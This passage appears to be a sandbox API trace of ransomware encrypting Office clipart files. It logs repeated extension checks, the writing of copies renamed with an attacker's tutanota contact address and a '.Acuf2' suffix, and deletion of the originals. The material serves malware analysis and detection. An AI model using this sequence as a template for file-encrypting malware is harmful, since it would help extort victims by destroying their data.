	[0272.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.724] lstrlenW (lpString=".rar") returned 4
	[0272.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString=".bz2") returned 4
	[0272.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString=".7z") returned 3
	[0272.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.724] lstrlenW (lpString=".dbf") returned 4
	[0272.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.724] lstrlenW (lpString=".1cd") returned 4
	[0272.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.724] lstrlenW (lpString=".jpg") returned 4
	[0272.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.725] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4320) returned 1
	[0272.725] CloseHandle (hObject=0x390) returned 1
	[0272.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20
	[0272.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.725] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.725] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.726] GetLastError () returned 0x0
	[0272.726] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x10e0, lpOverlapped=0x0) returned 1
	[0272.727] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x10f0, lpOverlapped=0x0) returned 1
	[0272.728] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.728] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.728] SetEndOfFile (hFile=0x360) returned 1
	[0272.728] CloseHandle (hObject=0x360) returned 1
	[0272.728] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.728] SetEndOfFile (hFile=0x390) returned 1
	[0272.730] CloseHandle (hObject=0x390) returned 1
	[0272.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1
	[0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.730] lstrlenW (lpString=".doc") returned 4
	[0272.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString=".docx") returned 5
	[0272.731] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.731] lstrlenW (lpString=".pdf") returned 4
	[0272.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString=".xls") returned 4
	[0272.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.731] lstrlenW (lpString=".xlsx") returned 5
	[0272.731] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.731] lstrlenW (lpString=".ppt") returned 4
	[0272.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.731] lstrlenW (lpString=".zip") returned 4
	[0272.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.731] lstrlenW (lpString=".rar") returned 4
	[0272.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString=".bz2") returned 4
	[0272.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString=".7z") returned 3
	[0272.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.731] lstrlenW (lpString=".dbf") returned 4
	[0272.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.731] lstrlenW (lpString=".1cd") returned 4
	[0272.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63
	[0272.731] lstrlenW (lpString=".jpg") returned 4
	[0272.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.732] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2020) returned 1
	[0272.732] CloseHandle (hObject=0x390) returned 1
	[0272.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20
	[0272.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.733] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.733] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.733] GetLastError () returned 0x0
	[0272.733] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7e4, lpOverlapped=0x0) returned 1
	[0272.735] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7f0, lpOverlapped=0x0) returned 1
	[0272.735] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.735] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.736] SetEndOfFile (hFile=0x360) returned 1
	[0272.736] CloseHandle (hObject=0x360) returned 1
	[0272.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.736] SetEndOfFile (hFile=0x390) returned 1
	[0272.738] CloseHandle (hObject=0x390) returned 1
	[0272.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1
	[0272.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.739] lstrlenW (lpString=".doc") returned 4
	[0272.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString=".docx") returned 5
	[0272.739] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.739] lstrlenW (lpString=".pdf") returned 4
	[0272.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString=".xls") returned 4
	[0272.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.739] lstrlenW (lpString=".xlsx") returned 5
	[0272.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.739] lstrlenW (lpString=".ppt") returned 4
	[0272.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.739] lstrlenW (lpString=".zip") returned 4
	[0272.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.739] lstrlenW (lpString=".rar") returned 4
	[0272.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString=".bz2") returned 4
	[0272.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString=".7z") returned 3
	[0272.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.739] lstrlenW (lpString=".dbf") returned 4
	[0272.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.739] lstrlenW (lpString=".1cd") returned 4
	[0272.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63
	[0272.739] lstrlenW (lpString=".jpg") returned 4
	[0272.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.740] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7992) returned 1
	[0272.740] CloseHandle (hObject=0x390) returned 1
	[0272.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20
	[0272.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.740] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.740] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.742] GetLastError () returned 0x0
	[0272.742] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1f38, lpOverlapped=0x0) returned 1
	[0272.743] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1f40, lpOverlapped=0x0) returned 1
	[0272.744] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.744] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.744] SetEndOfFile (hFile=0x360) returned 1
	[0272.744] CloseHandle (hObject=0x360) returned 1
	[0272.745] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.745] SetEndOfFile (hFile=0x390) returned 1
	[0272.747] CloseHandle (hObject=0x390) returned 1
	[0272.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1
	[0272.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.747] lstrlenW (lpString=".doc") returned 4
	[0272.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.747] lstrlenW (lpString=".docx") returned 5
	[0272.747] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.747] lstrlenW (lpString=".pdf") returned 4
	[0272.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.747] lstrlenW (lpString=".xls") returned 4
	[0272.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.748] lstrlenW (lpString=".xlsx") returned 5
	[0272.748] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.748] lstrlenW (lpString=".ppt") returned 4
	[0272.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.748] lstrlenW (lpString=".zip") returned 4
	[0272.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.748] lstrlenW (lpString=".rar") returned 4
	[0272.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.748] lstrlenW (lpString=".bz2") returned 4
	[0272.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.748] lstrlenW (lpString=".7z") returned 3
	[0272.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.748] lstrlenW (lpString=".dbf") returned 4
	[0272.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.748] lstrlenW (lpString=".1cd") returned 4
	[0272.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63
	[0272.748] lstrlenW (lpString=".jpg") returned 4
	[0272.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.749] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=10508) returned 1
	[0272.749] CloseHandle (hObject=0x390) returned 1
	[0272.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20
	[0272.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.749] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.749] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.749] GetLastError () returned 0x0
	[0272.749] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x290c, lpOverlapped=0x0) returned 1
	[0272.753] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2910, lpOverlapped=0x0) returned 1
	[0272.754] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.754] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.754] SetEndOfFile (hFile=0x360) returned 1
	[0272.754] CloseHandle (hObject=0x360) returned 1
	[0272.754] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.754] SetEndOfFile (hFile=0x390) returned 1
	[0272.756] CloseHandle (hObject=0x390) returned 1
	[0272.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1
	[0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.757] lstrlenW (lpString=".doc") returned 4
	[0272.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString=".docx") returned 5
	[0272.757] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.757] lstrlenW (lpString=".pdf") returned 4
	[0272.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString=".xls") returned 4
	[0272.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.757] lstrlenW (lpString=".xlsx") returned 5
	[0272.757] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.757] lstrlenW (lpString=".ppt") returned 4
	[0272.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.757] lstrlenW (lpString=".zip") returned 4
	[0272.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.757] lstrlenW (lpString=".rar") returned 4
	[0272.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString=".bz2") returned 4
	[0272.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString=".7z") returned 3
	[0272.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.757] lstrlenW (lpString=".dbf") returned 4
	[0272.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.757] lstrlenW (lpString=".1cd") returned 4
	[0272.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63
	[0272.758] lstrlenW (lpString=".jpg") returned 4
	[0272.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.759] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2900) returned 1
	[0272.759] CloseHandle (hObject=0x390) returned 1
	[0272.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20
	[0272.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.759] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.759] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
